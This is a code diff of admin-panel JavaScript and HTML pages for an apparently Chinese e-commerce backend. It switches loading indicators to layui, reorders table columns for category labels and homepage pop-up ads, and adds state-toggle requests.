| | | } else { |
| | |
| | | return false; |
| | | } |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | var item = back.list[0];
|
| | | var index = 9; |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/goodsclass/updateOrder"; // 1级 |
| | | if (vm_top.mulu.resultGet().level > 1) { |
| | | if (vm_top.mulu.resultGet().level > 1) {
|
| | | index = 11; |
| | | myurl = gethttp() + "/admin/new/api/v1/goodsSubClass/saveOrder"; |
| | | } // 2级 |
| | | // 信息上传 |
| | | doui.showLoading(); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: myurl, |
| | | data: { |
| | | type: vm_top.mulu.resultGet().level, |
| | | id: item[1].key, |
| | | id: item[index].key, |
| | | moveType: "-1", |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | | // 获取当前行顺序 |
| | | var thisIndex = null; |
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { |
| | | if (mo[i].td[1].key == item[1].key) { |
| | | if (mo[i].td[index].key == item[index].key) { |
| | | thisIndex = i; |
| | | break; |
| | | } |
| | |
| | | return false; |
| | | } |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | var item = back.list[0];
|
| | | var index = 9; |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/goodsclass/updateOrder"; // 1级 |
| | | if (vm_top.mulu.resultGet().level > 1) { |
| | | if (vm_top.mulu.resultGet().level > 1) {
|
| | | index = 11; |
| | | myurl = gethttp() + "/admin/new/api/v1/goodsSubClass/saveOrder"; |
| | | } // 2级 |
| | | // 信息上传 |
| | | doui.showLoading(); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: myurl, |
| | | data: { |
| | | type: vm_top.mulu.resultGet().level, |
| | | id: item[1].key, |
| | | id: item[index].key, |
| | | moveType: "1", |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | | // 获取当前行顺序 |
| | | var thisIndex = null; |
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { |
| | | if (mo[i].td[1].key == item[1].key) { |
| | | if (mo[i].td[index].key == item[index].key) { |
| | | thisIndex = i; |
| | | break; |
| | | } |
| | |
| | | }); |
| | | return false; |
| | | } |
| | |
|
| | | // id索引
|
| | | var index = 9;
|
| | | if (vm_top.mulu.resultGet().level > 1) {
|
| | | index = 11;
|
| | | } |
| | | |
| | | // 获取选择的系统id组 |
| | | var zu_id = ""; |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { |
| | | zu_id = mo[i][1].key; |
| | | zu_id = mo[i][index].key; |
| | | } |
| | | sys_id = zu_id; |
| | | // 显示弹框 |
| | |
| | | return false; |
| | | } |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | var item = back.list[0];
|
| | | |
| | | // 1级进入 |
| | | var mulu = { |
| | | id: item[1].key, |
| | | value: item[3].key, |
| | | id: item[9].key, |
| | | value: item[1].key, |
| | | }; |
| | | // 子级进入 |
| | | if (vm_top.mulu.resultGet().level > 1) { |
| | | mulu = { |
| | | id: item[1].key, |
| | | value: item[4].key, |
| | | id: item[11].key, |
| | | value: item[2].key, |
| | | }; |
| | | } |
| | | vm_top.mulu.list.push(mulu); |
| | |
| | | if (idsC) { |
| | | vm_labelTan.thereData.id = idsC; |
| | | } |
| | | doui.showLoading("获取已有标签"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/labelClass/queryMyLabels", |
| | |
| | | pageSize: vm_labelTan.thereData.pageSize, |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | |
| | | if (idsC) { |
| | | vm_labelTan.all.id = idsC; |
| | | } |
| | | doui.showLoading("获取标签"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/labelClass/queryLabel", |
| | |
| | | pageSize: vm_labelTan.all.pageSize, |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | |
| | | BQ_id.push(mo[i].label.id); |
| | | } |
| | | // 发起请求 |
| | | doui.showLoading("正在处理") |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/labelClass/addBatch", |
| | |
| | | labIds: BQ_id, |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | |
| | | |
| | | // ------------------------------------------------------------- 初始行为 |
| | | vm_table.search(); |
| | | |
| | | |
| | | document.body.style.display = "block"; |
| | | }, |
| | | }); |
| | | });
|
| | | |
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/goodsclass/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | }
|
| | | |
| | | // 切换状态
|
| | | function switchStateSub(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/goodsSubClass/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | } |
| | | </script> |
| | |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1" /> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>二级分类标签</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css" /> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css" />
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" /> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | el: "#thisTable", |
| | | // 搜索触发 |
| | | touchSearch: function(optC) { |
| | | doui.showLoading({ |
| | | content: "加载列表" |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | |
| | | classId: $("#classes").val() |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast({ |
| | | content: res.msg |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [{ |
| | | title: "ID", |
| | | key: mo[i].id, |
| | | value: mo[i].id |
| | | }, |
| | | td: [ |
| | | { |
| | | title: "标签名称", |
| | | key: mo[i].name, |
| | | value: mo[i].name |
| | | }, |
| | | { |
| | | title: "排序值", |
| | | key: mo[i].orderBy, |
| | | value: mo[i].orderBy |
| | | }, |
| | | { |
| | | title: "主分类ID", |
| | | key: mo[i].goodsClass.id, |
| | | value: mo[i].goodsClass.id, |
| | | "class": "font-gray" |
| | | }, |
| | | { |
| | | title: "主分类名称", |
| | | key: mo[i].goodsClass.name, |
| | | key: mo[i].goodsClass.id, |
| | | value: mo[i].goodsClass.name |
| | | }, |
| | | },
|
| | | {
|
| | | title: "排序值",
|
| | | key: mo[i].orderBy,
|
| | | value: mo[i].orderBy
|
| | | },
|
| | | {
|
| | | title: "ID",
|
| | | key: mo[i].id,
|
| | | value: mo[i].id
|
| | | },
|
| | | { |
| | | title: "创建时间", |
| | | key: mo[i].createTime, |
| | |
| | | var classArray=new Array(); |
| | | for(var i=0;i<topVue.goodsClassList.length;i++) |
| | | classArray.push({key:topVue.goodsClassList[i].id,value:topVue.goodsClassList[i].name}); |
| | | vm_table.thead.th[3].edit.list=classArray; |
| | | vm_table.thead.th[1].edit.list=classArray; |
| | | } |
| | | } |
| | | }); |
| | |
| | | }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [{ |
| | | title: "ID", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | }, |
| | | th: [ |
| | | { |
| | | title: "标签名称", |
| | | width: "", |
| | |
| | | type: "text", |
| | | placeholder: "标签名称", |
| | | }, |
| | | },
|
| | | {
|
| | | title: "主分类名称",
|
| | | width: "",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "select",
|
| | | list: []
|
| | | }
|
| | | }, |
| | | {
|
| | | title: "排序值",
|
| | | width: "",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "text",
|
| | | placeholder: "输入排序值,值越小越靠前",
|
| | | },
|
| | | },
|
| | | { |
| | | title: "排序值", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "输入排序值,值越小越靠前", |
| | | }, |
| | | }, |
| | | { |
| | | title: "主分类ID", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "select", |
| | | list: [] |
| | | } |
| | | }, |
| | | { |
| | | title: "主分类名称", |
| | | title: "ID", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "" |
| | |
| | | show: true, |
| | | list: [ |
| | | { |
| | | "title": "添加", |
| | | "name": "add", |
| | | "icon": "fi fi-plus" |
| | | "title": "添加", |
| | | "name": "add", |
| | | "icon": "fi fi-plus" |
| | | }, |
| | | { |
| | | "title": "修改", |
| | |
| | | el: ".winSizeBox", |
| | | // 数据修改提交触发 |
| | | touchSubmit: function(editData) { |
| | | doui.showLoading({ |
| | | content: "正在修改" |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/goodsSubClassLabel/saveLabel", |
| | | data: { |
| | | name: editData.list[1].key, |
| | | name: editData.list[0].key, |
| | | 'goodsClass.id': editData.list[1].key, |
| | | orderBy: editData.list[2].key, |
| | | 'goodsClass.id': editData.list[3].key, |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast({ |
| | | content: res.msg |
| | |
| | | }); |
| | | adminDom.editTan.opt({ title: "新建" }); |
| | | adminDom.editTan.thereData({ show: false, }); |
| | | |
| | | } |
| | | |
| | | // 修改列表 |
| | |
| | | el: ".winSizeBox", |
| | | // 数据修改提交触发 |
| | | touchSubmit: function(editData) { |
| | | doui.showLoading({ |
| | | content: "正在修改" |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/goodsSubClassLabel/saveLabel", |
| | | data: { |
| | | id:editData.list[0].key, |
| | | name: editData.list[1].key, |
| | | data: {
|
| | | name: editData.list[0].key,
|
| | | 'goodsClass.id': editData.list[1].key,
|
| | | orderBy: editData.list[2].key, |
| | | 'goodsClass.id': editData.list[3].key, |
| | | id:editData.list[3].key, |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast({ |
| | | content: res.msg |
| | |
| | | // 获取选择的id组 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { |
| | | zu_id.push(mo[i][0].key); |
| | | zu_id.push(mo[i][3].key); |
| | | } |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/goodsSubClassLabel/deleteLabelBatch"; |
| | | // 发起请求 |
| | | doui.showLoading({ |
| | | content: "正在删除" |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | |
| | | ids: zu_id |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast({ |
| | | content: res.msg |
| | |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>首页弹出式广告</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | | |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../js/versionControl.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | |
| | | getHostPath() + "js/admin-creat.js", |
| | | ], |
| | | }); |
| | | </script> |
| | | </script>
|
| | | </head> |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox"> |
| | |
| | | </body> |
| | | </html> |
| | | |
| | | <script type="text/javascript"> |
| | | <script type="text/javascript">
|
| | | var adId = null;
|
| | | function getVersions(id) {
|
| | | adId = id;
|
| | |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" });
|
| | | |
| | | |
| | | var data = {
|
| | | pageIndex: optC.table.page, // 页码
|
| | | pageSize: optC.table.pageSize, // 每页数量
|
| | |
| | | data.platform =platfrom;
|
| | | if (version!=null)
|
| | | data.version = version;
|
| | | |
| | | |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({ |
| | | type: "jsonp", |
| | |
| | | data: data, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "启用状态", key: mo[i].state, value: mo[i].state },
|
| | | {title: "版本选择", key: mo[i].id, value: '版本查询', dataType: 'btn', click: "getVersions(" + mo[i].id + ")"}, |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | td: [
|
| | | { title: "图片", key: mo[i].picture, value: mo[i].picture, dataType: "img", style: "height:0.5rem; max-width:1rem;" }, |
| | | { title: "名称", key: mo[i].name, value: mo[i].name }, |
| | | { title: "弹出位置", key: mo[i].position, value: mo[i].position }, |
| | | { title: "弹出频率", key: mo[i].showMode, value: mo[i].showMode }, |
| | | { title: "跳转方式", key: mo[i].jumpDetail.type, value: mo[i].jumpDetail.name }, |
| | | { title: "跳转参数", key: mo[i].params, value: mo[i].params }, |
| | | { title: "跳转是否需要登录", key: mo[i].jumpNeedLogin, value: mo[i].jumpNeedLogin?"需要":"不需要" }, |
| | | { title: "起始时间", key: mo[i].startTime_str, value: mo[i].startTime_str }, |
| | | { title: "结束时间", key: mo[i].endTime_str, value: mo[i].endTime_str }, |
| | | { title: "类型", key: mo[i].typeEnum, value: mo[i].typeName }, |
| | | { title: "名称", key: mo[i].name, value: mo[i].name },
|
| | | { title: "版本选择", key: mo[i].id, value: '版本查询', dataType: 'btn', click: "getVersions(" + mo[i].id + ")"}, |
| | | { title: "启用状态", key: mo[i].state, value: mo[i].state, dataType: 'btnSwitch', click: "switchState(" + mo[i].id + ")"},
|
| | | { title: "起始时间", key: mo[i].startTime_str, value: mo[i].startTime_str },
|
| | | { title: "结束时间", key: mo[i].endTime_str, value: mo[i].endTime_str },
|
| | | { title: "跳转方式", key: mo[i].jumpDetail.type, value: mo[i].jumpDetail.name },
|
| | | { title: "跳转参数", key: mo[i].params, value: mo[i].params },
|
| | | { title: "跳转需要登录", key: mo[i].jumpNeedLogin, value: mo[i].jumpNeedLogin?"是":"否" },
|
| | | { title: "类型", key: mo[i].typeEnum, value: mo[i].typeName },
|
| | | { title: "弹出频率", key: mo[i].showMode, value: mo[i].showMode },
|
| | | { title: "弹出位置", key: mo[i].position, value: mo[i].position },
|
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | ], |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 1) { thatTr.td[0].value = "已启用"; thatTr.td[0]["class"] = "font-green"; } |
| | | else if (thatTr.td[0].key == 0) { thatTr.td[0].value = "已禁用"; thatTr.td[0]["class"] = "font-red"; } |
| | | // 弹出频率 |
| | | if (thatTr.td[6].key == "everyday") { thatTr.td[6].value = "每天只弹出一次"; } |
| | | else if (thatTr.td[6].key == "always") { thatTr.td[6].value = "每次进入首页都弹出"; } |
| | | if (thatTr.td[3].key == 1) { thatTr.td[3].value = "已启用"; thatTr.td[3]["class"] = "font-green"; } |
| | | else if (thatTr.td[3].key == 0) { thatTr.td[3].value = "已禁用"; thatTr.td[3]["class"] = "font-red"; } |
| | | |
| | | // 跳转参数 |
| | | if (typeof(thatTr.td[8].key)=="object") { thatTr.td[8].key = JSON.stringify(thatTr.td[8].key); thatTr.td[8].value = thatTr.td[8].key; } |
| | | if (typeof(thatTr.td[7].key)=="object") {
|
| | | thatTr.td[7].key = JSON.stringify(thatTr.td[7].key); |
| | | thatTr.td[7].value = thatTr.td[7].key; |
| | | }
|
| | | |
| | | // 弹出频率
|
| | | if (thatTr.td[10].key == "everyday") { thatTr.td[10].value = "每天只弹出一次"; }
|
| | | else if (thatTr.td[10].key == "always") { thatTr.td[10].value = "每次进入首页都弹出"; }
|
| | | |
| | | // 弹出位置
|
| | | if (thatTr.td[11].key == "index") { thatTr.td[11].value = "首页"; }
|
| | | else if (thatTr.td[11].key == "msgCenter") { thatTr.td[11].value = "消息中心"; } |
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | | // 更新表格的数据 |
| | | adminDom.table.opt({ pageMax: res.data.pe.totalPage }); // 最大页码 |
| | | adminDom.table.tbody({ tr: mo_tr }); // 内容数据 |
| | | } |
| | | adminDom.table.tbody({ tr: mo_tr }); // 内容数据
|
| | | }
|
| | | } |
| | | }); |
| | | }, |
| | |
| | | adminDom.table.opt({ pageSize: 20, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "启用状态", width: "", orderUp: "", orderDown: "", |
| | | th: [
|
| | | { title: "图片", width: "0.5rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "file",
|
| | | },
|
| | | },
|
| | | { title: "名称", width: "", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "text",
|
| | | placeholder: "如:首页进入时弹出的广告",
|
| | | },
|
| | | },
|
| | | { title: "版本选择",width: "0.4rem", orderUp: "",orderDown: ""},
|
| | | |
| | | { title: "启用状态", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: 0, value: "禁用" }, |
| | | { key: 1, value: "启用"} , |
| | | ], |
| | | type: "switch",
|
| | | }, |
| | | },
|
| | | { title: "版本选择",width: "", orderUp: "",orderDown: ""}, |
| | | { title: "ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "图片", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "file", |
| | | }, |
| | | { title: "起始时间", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "datetime-local" },
|
| | | },
|
| | | { title: "结束时间", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "datetime-local" },
|
| | | },
|
| | | { title: "跳转界面", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "select",
|
| | | list: [],
|
| | | },
|
| | | },
|
| | | { title: "跳转参数", width: "", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "textarea",
|
| | | placeholder: '如:{"url":"http://www.baidu.com","name":"百度跳转"}',
|
| | | },
|
| | | },
|
| | | { title: "跳转需要登录", width: "0.5rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | { title: "类型", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "select",
|
| | | list: [
|
| | | { key: "activity", value: "活动" },
|
| | | { key: "newUserRedPack", value: "新人红包" }
|
| | | ],
|
| | | },
|
| | | },
|
| | | { title: "弹出频率", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "radio",
|
| | | list: [ |
| | | { key: "everyday", value: "每天只弹出一次" },
|
| | | { key: "always", value: "每次进入首页都弹出" },
|
| | | ],
|
| | | },
|
| | | },
|
| | | { title: "弹出位置", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "radio",
|
| | | list: [
|
| | | { key: "index", value: "APP首页" },
|
| | | { key: "msgCenter", value: "消息中心" }
|
| | | ],
|
| | | },
|
| | | }, |
| | | { title: "名称", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "如:首页进入时弹出的广告", |
| | | }, |
| | | }, |
| | | { title: "弹出位置", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: "index", value: "APP首页" }, |
| | | { key: "msgCenter", value: "消息中心" } |
| | | ], |
| | | }, |
| | | }, |
| | | { title: "弹出频率", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: "everyday", value: "每天只弹出一次" }, |
| | | { key: "always", value: "每次进入首页都弹出" }, |
| | | ], |
| | | }, |
| | | }, |
| | | { title: "跳转方式", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "select", |
| | | list: [], |
| | | }, |
| | | }, |
| | | { title: "跳转参数", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: '如:{"url":"http://www.baidu.com","name":"百度跳转"}', |
| | | }, |
| | | }, |
| | | { title: "跳转是否需要登录", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: false, value: "不需要" }, |
| | | { key: true, value: "需要" }, |
| | | ], |
| | | }, |
| | | }, |
| | | { title: "起始时间", width: "", orderUp: "", orderDown: "", |
| | | edit: { type: "datetime-local" }, |
| | | }, |
| | | { title: "结束时间", width: "", orderUp: "", orderDown: "", |
| | | edit: { type: "datetime-local" }, |
| | | }, |
| | | { title: "类型", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "select", |
| | | list: [ |
| | | { key: "activity", value: "活动" }, |
| | | { key: "newUserRedPack", value: "新人红包" } |
| | | ], |
| | | }, |
| | | } |
| | | |
| | | { title: "ID", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | ] |
| | | }); |
| | | // 跳转方式获取 |
| | |
| | | listC.push(jiedian); |
| | | } |
| | | // 重置表格头排 |
| | | vm_table.thead.th[7].edit.list = listC; |
| | | vm_table.thead.th[6].edit.list = listC; |
| | | } |
| | | } |
| | | }); |
| | |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在新建"); |
| | | // 请求数据 |
| | | var mydata = { |
| | | state: item[0].key, |
| | | name: item[4].key, |
| | | showMode: item[6].key, |
| | | position: item[5].key, |
| | | jumpType: item[7].key, |
| | | params: item[8].key, |
| | | jumpNeedLogin: item[9].key, |
| | | startTime_str: item[10].key, |
| | | endTime_str: item[11].key, |
| | | typeEnum: item[12].key, |
| | | }; |
| | | var mydata = {
|
| | | name: item[1].key, |
| | | state: item[3].key, |
| | | startTime_str: item[4].key,
|
| | | endTime_str: item[5].key,
|
| | | jumpType: item[6].key,
|
| | | params: item[7].key,
|
| | | jumpNeedLogin: item[8].key,
|
| | | typeEnum: item[9].key,
|
| | | showMode: item[10].key,
|
| | | position: item[11].key,
|
| | | };
|
| | | |
| | | // 如果修改了图片 |
| | | if (item[3].change == true) { mydata.file = item[3].key; } |
| | | if (item[0].change == true) { mydata.file = item[0].key; }
|
| | | |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | // 信息上传 |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/floatad/save", |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("新建成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | else { doui.showToast("新建成功"); adminDom.editTan.remove(); vm_table.search(); initUI(); } |
| | | } |
| | | }); |
| | | }, |
| | |
| | | { |
| | | // 被选中的行id组构建 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][2].key); } |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][12].key); } |
| | | |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | // 发起请求 |
| | | doui.showLoading("正在删除"); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/floatad/delete", |
| | | data: { idArray: zu_id }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("删除成功"); vm_table.search(); } |
| | | else { doui.showToast("删除成功"); vm_table.search(); } |
| | | } |
| | | }); |
| | | } |
| | |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在修改"); |
| | | // 请求数据 |
| | | var mydata = { |
| | | state: item[0].key, |
| | | id: item[2].key, |
| | | name: item[4].key, |
| | | showMode: item[6].key, |
| | | position: item[5].key, |
| | | jumpType: item[7].key, |
| | | params: item[8].key, |
| | | jumpNeedLogin: item[9].key, |
| | | startTime_str: item[10].key, |
| | | endTime_str: item[11].key, |
| | | typeEnum:item[12].key, |
| | | var mydata = {
|
| | | name: item[1].key,
|
| | | state: item[3].key,
|
| | | startTime_str: item[4].key,
|
| | | endTime_str: item[5].key,
|
| | | jumpType: item[6].key,
|
| | | params: item[7].key,
|
| | | jumpNeedLogin: item[8].key,
|
| | | typeEnum: item[9].key,
|
| | | showMode: item[10].key,
|
| | | position: item[11].key,
|
| | | id: item[12].key,
|
| | | }; |
| | | // 如果修改了图片 |
| | | if (item[3].change == true) { mydata.file = item[3].key; } |
| | | if (item[0].change == true) { mydata.file = item[0].key; }
|
| | | |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | // 信息上传 |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/floatad/save", |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("修改成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | | doui.showToast("修改成功"); |
| | | adminDom.editTan.remove(); |
| | | vm_table.search(); |
| | | } |
| | | } |
| | | }); |
| | | }, |
| | |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | // 信息上传 |
| | | doui.showLoading(); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/floatad/updateOrder", |
| | | data: { |
| | | id: item[2].key, |
| | | id: item[12].key, |
| | | moveType: "-1", |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { vm_table.search(); } |
| | | } |
| | |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | // 信息上传 |
| | | doui.showLoading(); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/floatad/updateOrder", |
| | | data: { |
| | | id: item[2].key, |
| | | id: item[12].key, |
| | | moveType: "1", |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { vm_table.search(); } |
| | | layer.close(loading); |
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg); |
| | | } else { |
| | | vm_table.search(); |
| | | } |
| | | } |
| | | }); |
| | | } |
| | |
